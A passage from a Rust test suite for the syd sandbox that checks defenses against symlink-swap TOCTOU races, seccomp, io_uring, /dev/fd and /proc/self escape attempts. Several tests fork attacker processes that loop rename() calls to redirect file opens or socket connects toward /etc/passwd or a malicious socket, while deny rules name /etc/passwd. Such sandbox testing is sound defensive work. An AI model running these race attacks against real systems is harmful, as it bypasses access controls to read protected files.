        .m("deny/read,stat,write,create+/etc/passwd")
        .m("filter/read,stat,write+/etc/passwd")
        .do_("ptrmod_toctou_opath", NONE)
        .status()
        .expect("execute syd");
    // FIXME: https://bugzilla.kernel.org/show_bug.cgi?id=218501
    fixup!(status.success(), "status:{status:?}");

    Ok(())
}

fn test_syd_vfsmod_toctou_mmap() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("allow/exec+/**/lib-safe/*.so")
        .m("deny/exec+/**/lib-bad/*.so")
        .m("trace/allow_unsafe_exec_stack:1")
        .m("trace/allow_unsafe_exec_memory:1")
        .do_("vfsmod_toctou_mmap", NONE)
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

fn test_syd_vfsmod_toctou_fchdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .m("allow/chdir+/**/dir-safe/***")
        .m("deny/chdir+/**/dir-bad/***")
        .do_("vfsmod_toctou_fchdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

fn test_syd_vfsmod_toctou_cwd_rename() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("deny/read+/etc/passwd")
        .m("filter/read+/etc/passwd")
        .do_("vfsmod_toctou_cwd_rename", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exp_vfsmod_toctou_open_file_off() -> TestResult {
    skip_if_strace!();
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    File::create("./benign")?;
    symlink("/etc/passwd", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }? {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    // This test is to ensure the TOCTOU attack is sane and works.
    let status = syd()
        .p("off")
        .do_("vfsmod_toctou_open_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_exp_vfsmod_toctou_open_file_deny() -> TestResult {
    skip_if_strace!();
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    File::create("./benign")?;
    symlink("/etc/passwd", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }? {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .m("deny/read+/etc/passwd")
        .m("filter/read+/etc/passwd")
        .do_("vfsmod_toctou_open_file", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_exp_vfsmod_toctou_open_path_off() -> TestResult {
    skip_if_strace!();
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    create_dir_all("./benign")?;
    File::create("./benign/passwd")?;
    symlink("/etc", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }.expect("fork") {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    // This test is to ensure the TOCTOU attack is sane and works.
    let status = syd()
        .p("off")
        .do_("vfsmod_toctou_open_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 1);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_exp_vfsmod_toctou_open_path_deny() -> TestResult {
    skip_if_strace!();
    // We run the attacker thread unsandboxed,
    // to increase the likelihood of the race.
    create_dir_all("./benign")?;
    File::create("./benign/passwd")?;
    symlink("/etc", "./symlink")?;

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }.expect("fork") {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .m("deny/read+/etc/passwd")
        .m("filter/read+/etc/passwd")
        .do_("vfsmod_toctou_open_path", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("Killing background attacker process...");
    let _ = kill(attacker, Signal::SIGKILL);

    Ok(())
}

fn test_syd_exp_vfsmod_toctou_connect_unix() -> TestResult {
    skip_if_strace!();
    // Prepare the benign socket which is an unbound UNIX domain socket.
    mknod("./benign", SFlag::S_IFSOCK, Mode::S_IRWXU, 0)?;

    // Prepare the malicious socket which is a bound UNIX domain socket.
    let sock = socket(
        AddressFamily::Unix,
        SockType::Stream,
        SockFlag::empty(),
        None,
    )?;
    let addr = UnixAddr::new("./malicious")?;
    bind(sock.as_raw_fd(), &addr)?;
    listen(&sock, Backlog::MAXCONN)?;
    symlink("./malicious", "./symlink")?;

    // We run the attacker and listener thread unsandboxed,
    // to increase the likelihood of the race.
    eprintln!("Forking background malicious listener process...");
    let listener = match unsafe { fork() }.expect("fork") {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Accept a connection on the malicious UNIX socket.
            let r = match accept(sock.as_raw_fd()) {
                Ok(fd) => {
                    eprintln!("Malicious listener escaped the sandbox!");
                    let _ = close(fd);
                    0
                }
                Err(errno) => errno as i32,
            };
            unsafe { libc::_exit(r) };
        }
    };

    eprintln!("Forking background attacker process...");
    let attacker = match unsafe { fork() }.expect("fork") {
        ForkResult::Parent { child, .. } => child,
        ForkResult::Child => {
            // Perform a VFS symlink modification attack.
            let f = b"./benign\0";
            let s = b"./symlink\0";
            let t = b"./tmp\0";

            loop {
                unsafe {
                    // Rename between benign file and malicious symlink.
                    libc::rename(f.as_ptr().cast(), t.as_ptr().cast());
                    libc::rename(s.as_ptr().cast(), f.as_ptr().cast());
                    libc::rename(f.as_ptr().cast(), s.as_ptr().cast());
                    libc::rename(t.as_ptr().cast(), f.as_ptr().cast());
                }
            }
        }
    };

    let status = syd()
        .p("off")
        .m("sandbox/net/connect:on")
        .m("allow/net/connect+/***")
        .m("deny/net/connect+/**/malicious")
        .m("filter/net/connect+/**/malicious")
        .do_("vfsmod_toctou_connect_unix", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("Killing background processes...");
    let _ = kill(attacker, Signal::SIGKILL);
    let _ = kill(listener, Signal::SIGKILL);

    Ok(())
}

fn test_syd_seccomp_set_mode_strict_old() -> TestResult {
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "seccomp_set_mode_strict_old")
        .status()
        .expect("execute syd-test-do");
    assert_status_signaled!(status, libc::SIGKILL);

    let status = syd()
        .p("off")
        .do_("seccomp_set_mode_strict_old", NONE)
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_cbpf:1")
        .do_("seccomp_set_mode_strict_old", NONE)
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);

    Ok(())
}

fn test_syd_seccomp_set_mode_strict_new() -> TestResult {
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "seccomp_set_mode_strict_new")
        .status()
        .expect("execute syd-test-do");
    assert_status_signaled!(status, libc::SIGKILL);

    let status = syd()
        .p("off")
        .do_("seccomp_set_mode_strict_new", NONE)
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_cbpf:1")
        .do_("seccomp_set_mode_strict_new", NONE)
        .status()
        .expect("execute syd");
    assert_status_invalid!(status);

    Ok(())
}

fn test_syd_seccomp_ret_trap_escape_strict() -> TestResult {
    // Step 0: Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to truncate this file.
    let mut file = File::create("./truncate_me")?;
    writeln!(
        file,
        "Change return success. Going and coming without error. Action brings good fortune."
    )?;

    // SAFETY: We're going to reopen the file in the last step
    // to make absolutely sure that the sandbox break happened!
    drop(file);

    let status = syd()
        .p("off")
        .m("sandbox/read,truncate:on")
        .m("allow/read,truncate+/***")
        .m("deny/read+/dev/null")
        .m("deny/truncate+/**/truncate_me")
        .do_("seccomp_ret_trap_escape", ["./truncate_me"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    // Step -1: Check if the victim file was truncated, which confirms
    // the sandbox break without relying on the exit code of the
    // (untrusted) `syd-test-do' process.
    let file = File::open("./truncate_me")?;
    assert_ne!(file.metadata()?.len(), 0);

    Ok(())
}

fn test_syd_seccomp_ret_trap_escape_unsafe() -> TestResult {
    // Step 0: Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to truncate this file.
    let mut file = File::create("./truncate_me")?;
    writeln!(
        file,
        "Change return success. Going and coming without error. Action brings good fortune."
    )?;

    // SAFETY: We're going to reopen the file in the last step
    // to make absolutely sure that the sandbox break happened!
    drop(file);

    // SAFETY: Test with trace/allow_unsafe_cbpf:1 to confirm the validity of the PoC.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_cbpf:1")
        .m("sandbox/read,truncate:on")
        .m("allow/read,truncate+/***")
        .m("deny/read+/dev/null")
        .m("deny/truncate+/**/truncate_me")
        .do_("seccomp_ret_trap_escape", ["./truncate_me"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    // Step -1: Check if the victim file was truncated, which confirms
    // the sandbox break without relying on the exit code of the
    // (untrusted) `syd-test-do' process.
    let file = File::open("./truncate_me")?;
    assert_ne!(file.metadata()?.len(), 0);

    Ok(())
}

fn test_syd_seccomp_ioctl_notify_id_valid() -> TestResult {
    let status = syd()
        .p("off")
        .do_("seccomp_ioctl_notify", ["id_valid"])
        .status()
        .expect("execute syd");
    assert_status_notty!(status);

    Ok(())
}

fn test_syd_seccomp_ioctl_notify_set_flags() -> TestResult {
    let status = syd()
        .p("off")
        .do_("seccomp_ioctl_notify", ["set_flags"])
        .status()
        .expect("execute syd");
    assert_status_notty!(status);

    Ok(())
}

fn test_syd_seccomp_ioctl_notify_addfd() -> TestResult {
    let status = syd()
        .p("off")
        .do_("seccomp_ioctl_notify", ["addfd"])
        .status()
        .expect("execute syd");
    assert_status_notty!(status);

    Ok(())
}

fn test_syd_seccomp_ioctl_notify_send() -> TestResult {
    let status = syd()
        .p("off")
        .do_("seccomp_ioctl_notify", ["send"])
        .status()
        .expect("execute syd");
    assert_status_notty!(status);

    Ok(())
}

fn test_syd_seccomp_ioctl_notify_recv() -> TestResult {
    let status = syd()
        .p("off")
        .do_("seccomp_ioctl_notify", ["recv"])
        .status()
        .expect("execute syd");
    assert_status_notty!(status);

    Ok(())
}

fn test_syd_io_uring_escape_strict() -> TestResult {
    #[cfg(feature = "uring")]
    {
        // Step 1: Default is strict.
        let status = syd()
            .p("off")
            .m("sandbox/read,stat,write,create:on")
            .m("allow/read,stat,write,create+/***")
            .m("deny/stat+/etc/***")
            .m("allow/stat+/etc/ld*")
            .m("deny/read,write,create+/etc/passwd")
            .do_("io_uring_escape", ["0"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }
    Ok(())
}

fn test_syd_io_uring_escape_unsafe() -> TestResult {
    #[cfg(feature = "uring")]
    {
        // Step 2: Relax uring restriction.
        let status = syd()
            .p("off")
            .m("sandbox/read,stat,write,create:on")
            .m("allow/read,stat,write,create+/***")
            .m("deny/stat+/etc/***")
            .m("allow/stat+/etc/ld*")
            .m("deny/read,write,create+/etc/passwd")
            .m("trace/allow_unsafe_uring:1")
            .do_("io_uring_escape", ["1"])
            .status()
            .expect("execute syd");
        assert_status_ok!(status);
    }

    Ok(())
}

fn test_syd_opath_escape() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,create:on")
        .m("allow/read,stat,write,create+/***")
        .m("deny/stat+/etc/***")
        .m("allow/stat+/etc/ld*")
        .m("deny/read,write,create+/etc/passwd")
        .do_("opath_escape", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_1() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_1", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_2() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_2", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_3() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_3", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_5() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_5", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_6() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_7() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_7", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_8() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_8", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_9() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_9", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_10() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_10", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_11() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_11", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_12() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_12", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_13() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_13", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_14() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_14", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_15() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_15", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_16() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_16", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_17() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_17", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_18() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_18", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_19() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_19", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_chdir_relpath_20() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("devfd_escape_chdir_relpath_20", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_1() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_1", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_2() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_2", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_3() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_3", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_5() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_5", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_6() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_chdir_relpath_7() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .do_("procself_escape_chdir_relpath_7", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_1() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_1", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_2() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_2", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_3() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_3", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_5() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_5", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_6() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_6", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_7() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_7", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_8() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_8", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_9() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_9", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_10() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_10", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_11() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_11", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_12() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_12", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_13() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_13", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_14() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_14", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_15() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_15", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_16() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_16", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_17() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_17", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_18() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_18", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_19() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_19", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_devfd_escape_open_relpath_20() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir,write,create:on")
        .m("allow/read,readdir,write,create+/***")
        .do_("devfd_escape_open_relpath_20", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_1() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_1", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_2() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_2", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_3() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_3", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_4", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_procself_escape_open_relpath_5() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,readdir:on")
        .m("allow/read,readdir+/***")
        .do_("procself_escape_open_relpath_5", NONE)
        .status()
        .expect("execute syd");
